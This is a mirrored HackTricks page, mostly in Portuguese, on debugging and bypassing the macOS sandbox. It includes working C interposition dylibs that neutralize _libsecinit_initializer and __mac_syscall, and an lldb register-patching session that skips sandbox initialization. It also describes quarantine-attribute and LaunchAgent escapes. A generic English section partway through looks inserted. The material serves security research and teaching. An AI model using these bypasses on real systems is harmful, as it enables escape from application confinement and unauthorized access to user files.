Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-19 09:34:03 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md
CPol d6a657c60b
GitBook: No commit message
2024-04-06 19:38:49 +00:00

18 KiB
Raw Blame History

macOS Sandbox Debug & Bypass

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Processo de carregamento do Sandbox

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar como o sandbox será carregado quando um aplicativo com a permissão com.apple.security.app-sandbox é executado.

O compilador irá vincular /usr/lib/libSystem.B.dylib ao binário.

Em seguida, libSystem.B chamará outras várias funções até que o xpc_pipe_routine envie as permissões do aplicativo para o securityd. O Securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.
Por fim, o sandbox será ativado com uma chamada para __sandbox_ms, que chamará __mac_syscall.

Possíveis Bypasses

Bypass do atributo de quarentena

Arquivos criados por processos em sandbox recebem o atributo de quarentena para evitar a fuga do sandbox. No entanto, se você conseguir criar uma pasta .app sem o atributo de quarentena dentro de um aplicativo em sandbox, poderá fazer com que o binário do pacote do aplicativo aponte para /bin/bash e adicione algumas variáveis de ambiente no plist para abusar do open e iniciar o novo aplicativo sem sandbox.

Isso foi feito em CVE-2023-32364.

{% hint style="danger" %} Portanto, no momento, se você for capaz de criar uma pasta com um nome terminando em .app sem um atributo de quarentena, você pode escapar do sandbox porque o macOS só verifica o atributo de quarentena na pasta .app e no executável principal (e vamos apontar o executável principal para /bin/bash).

Observe que se um pacote .app já foi autorizado a ser executado (tem um xttr de quarentena com a flag autorizada para executar), você também poderia abusar dele... exceto que agora você não pode escrever dentro de pacotes .app a menos que tenha algumas permissões TCC privilegiadas (o que você não terá dentro de um sandbox alto). {% endhint %}

Abusando da funcionalidade Open

Nos últimos exemplos de bypass do sandbox do Word pode-se apreciar como a funcionalidade open do cli pode ser abusada para contornar o sandbox.

{% content-ref url="macos-office-sandbox-bypasses.md" %} macos-office-sandbox-bypasses.md {% endcontent-ref %}

Agentes/Daemons de Inicialização

Mesmo que um aplicativo seja destinado a estar em sandbox (com.apple.security.app-sandbox), é possível contornar o sandbox se ele for executado a partir de um LaunchAgent (~/Library/LaunchAgents), por exemplo.
Como explicado neste post, se você deseja obter persistência com um aplicativo que está em sandbox, você pode fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib.

Abusando de Locais de Inicialização Automática

Se um processo em sandbox pode escrever em um local onde mais tarde um aplicativo sem sandbox vai executar o binário, ele será capaz de escapar apenas colocando o binário lá. Um bom exemplo desses locais são ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Para isso, você pode precisar de 2 etapas: fazer um processo com um sandbox mais permissivo (file-read*, file-write*) executar seu código, que na verdade escreverá em um local onde será executado sem sandbox.

Confira esta página sobre locais de inicialização automática:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Abusando de outros processos

Se a partir do processo em sandbox você conseguir comprometer outros processos em sandboxes menos restritivos (ou nenhum), você será capaz de escapar para seus sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Compilação Estática e Linkagem Dinâmica

Esta pesquisa descobriu 2 maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do espaço do usuário quando a biblioteca libSystem é carregada. Se um binário pudesse evitar carregá-lo, ele nunca seria colocado em sandbox:

  • Se o binário fosse completamente compilado estaticamente, ele poderia evitar carregar essa biblioteca.
  • Se o binário não precisasse carregar nenhuma biblioteca (porque o linker também está em libSystem), ele não precisaria carregar libSystem.

Shellcodes

Observe que mesmo shellcodes em ARM64 precisam ser vinculados em libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Privilégios

Note que mesmo que algumas ações possam ser permitidas pelo sandbox se um aplicativo tiver um privilégio específico, como em:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Bypass de Interposição

Para obter mais informações sobre Interposição, consulte:

{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interpor _libsecinit_initializer para evitar a sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interceptar __mac_syscall para evitar a Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Depurar e burlar o Sandbox com lldb

Vamos compilar uma aplicação que deve estar em sandbox:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

macOS Sandbox Debug and Bypass

Debugging the Sandbox

To debug the macOS sandbox, you can use the sandbox-exec tool with the -D flag to enable debug mode. This will print detailed information about the sandbox operations being performed.

sandbox-exec -D

Bypassing the Sandbox

To bypass the macOS sandbox, you can use various techniques such as exploiting vulnerabilities in the sandbox profile, abusing entitlements, or injecting code into a process to disable sandbox restrictions.

It is important to note that bypassing the macOS sandbox is a serious security risk and should only be done for research or testing purposes in controlled environments.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

Info.plist

O arquivo Info.plist contém as configurações de sandboxing para um aplicativo macOS. Ele define as permissões e restrições de acesso que o aplicativo terá ao sistema e a outros recursos. Ao modificar este arquivo, é possível ajustar as restrições de segurança impostas ao aplicativo, potencialmente permitindo a execução de ações não autorizadas. É importante revisar e validar as configurações do Info.plist para garantir que o aplicativo esteja devidamente protegido contra possíveis violações de segurança.

Bypassing Sandbox Restrictions

Existem técnicas avançadas que podem ser usadas para contornar as restrições de sandboxing e obter acesso não autorizado a recursos do sistema. Os desenvolvedores e administradores de segurança devem estar cientes dessas técnicas e implementar medidas adicionais para mitigar possíveis vulnerabilidades de sandboxing.

Debugging Sandbox Violations

Ao encontrar violações de sandboxing em um aplicativo, é importante realizar uma análise detalhada para identificar a causa raiz do problema. O uso de ferramentas de depuração e monitoramento pode ajudar a rastrear e corrigir violações de sandboxing de forma eficaz. Certifique-se de revisar regularmente os logs de sandboxing para identificar e resolver quaisquer problemas de segurança em potencial.

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Em seguida, compile o aplicativo:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

{% endcode %}

{% hint style="danger" %} O aplicativo tentará ler o arquivo ~/Desktop/del.txt, o qual a Sandbox não permitirá.
Crie um arquivo lá, pois uma vez que a Sandbox for burlada, o aplicativo poderá lê-lo:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

{% endhint %}

Vamos depurar a aplicação para ver quando o Sandbox é carregado:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

{% hint style="warning" %} Mesmo com o Sandbox sendo burlado, o TCC perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho. {% endhint %}

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: